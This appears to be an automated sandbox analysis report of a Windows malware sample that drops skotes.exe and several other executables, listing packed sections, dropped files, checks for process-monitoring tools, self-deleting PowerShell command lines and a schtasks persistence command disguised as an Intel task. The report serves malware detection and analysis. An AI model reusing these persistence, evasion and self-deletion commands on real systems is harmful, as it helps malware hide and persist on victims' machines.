Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\random.exe_Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: random.exe_Y.exe

Static file information: File size 2985472 > 1048576

Source: random.exe_Y.exe

Static PE information: Raw size of xswvdtxt is bigger than: 0x100000 < 0x2a7200

Source:	Binary string: wkernel32.pdb source: d7691cd336.exe, 00000024.00000003.2816311933.0000000005010000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816191729.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821430291.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821309340.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: d7691cd336.exe, 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816838324.0000000005110000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2822637005.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: d7691cd336.exe, 00000024.00000003.2814530012.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2814843608.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819961783.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819182827.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: d7691cd336.exe, 00000024.00000003.2815576997.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2815815140.0000000005090000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2820660089.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: d7691cd336.exe, 00000024.00000003.2814530012.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2814843608.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819961783.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819182827.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: d7691cd336.exe, 00000024.00000003.2815576997.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2815815140.0000000005090000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2820660089.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: d7691cd336.exe, 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816838324.0000000005110000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2822637005.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: d7691cd336.exe, 00000024.00000003.2816311933.0000000005010000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816191729.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821430291.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821309340.00000000050E0000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\random.exe_Y.exe	Unpacked PE file: 0.2.random.exe_Y.exe.a0000.0.unpack :EW;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xswvdtxt:EW;wvmigpas:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Unpacked PE file: 36.2.d7691cd336.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ocizazuj:EW;tmlfxogw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ocizazuj:EW;tmlfxogw:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

8_2_00402665

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random.exe_Y.exe	Static PE information: real checksum: 0x2e6b0c should be: 0x2d98b5
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: f1e68d5060.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 7z.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1e027c should be: 0x1e3c66
Source: 7z.dll.8.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: Intel_PTT_EK_Recertification.exe.21.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: in.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: 5b3f6dd868.exe.6.dr	Static PE information: real checksum: 0x44cee5 should be: 0x446c4d
Source: d7691cd336.exe.6.dr	Static PE information: real checksum: 0x1e027c should be: 0x1e3c66
Source: c5bc1413d7.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2e6b0c should be: 0x2d98b5
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x44cee5 should be: 0x446c4d
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597

Source: random.exe_Y.exe	Static PE information: section name:
Source: random.exe_Y.exe	Static PE information: section name: .idata
Source: random.exe_Y.exe	Static PE information: section name: xswvdtxt
Source: random.exe_Y.exe	Static PE information: section name: wvmigpas
Source: random.exe_Y.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: xswvdtxt
Source: skotes.exe.0.dr	Static PE information: section name: wvmigpas
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: ahvfevpi
Source: random[1].exe0.6.dr	Static PE information: section name: qgsnhtie
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name:
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name: .idata
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name:
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name: ahvfevpi
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name: qgsnhtie
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: ocizazuj
Source: random[1].exe2.6.dr	Static PE information: section name: tmlfxogw
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: d7691cd336.exe.6.dr	Static PE information: section name:
Source: d7691cd336.exe.6.dr	Static PE information: section name: .idata
Source: d7691cd336.exe.6.dr	Static PE information: section name:
Source: d7691cd336.exe.6.dr	Static PE information: section name: ocizazuj
Source: d7691cd336.exe.6.dr	Static PE information: section name: tmlfxogw
Source: d7691cd336.exe.6.dr	Static PE information: section name: .taggant
Source: in.exe.19.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.21.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000BD91C push ecx; ret	0_2_000BD92F
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000B1359 push es; ret	0_2_000B135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B9D91C push ecx; ret	2_2_00B9D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B8BF38 push esi; iretd	2_2_00B8BF39
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B9D91C push ecx; ret	3_2_00B9D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B8BF38 push esi; iretd	3_2_00B8BF39
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9D91C push ecx; ret	6_2_00B9D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9DFC6 push ecx; ret	6_2_00B9DFD9
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_004192C0 push eax; ret	8_2_004192EE
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007B676A push rcx; ret	12_2_007B676B

Source: random.exe_Y.exe	Static PE information: section name: entropy: 7.984148545598198
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.984148545598198
Source: random[1].exe0.6.dr	Static PE information: section name: ahvfevpi entropy: 7.955642008152278
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name: ahvfevpi entropy: 7.955642008152278
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.9669881506806774
Source: random[1].exe2.6.dr	Static PE information: section name: ocizazuj entropy: 7.952982363060682
Source: d7691cd336.exe.6.dr	Static PE information: section name: entropy: 7.9669881506806774
Source: d7691cd336.exe.6.dr	Static PE information: section name: ocizazuj entropy: 7.952982363060682

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe_Y.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\random.exe_Y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe_Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\random.exe_Y.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\random.exe_Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
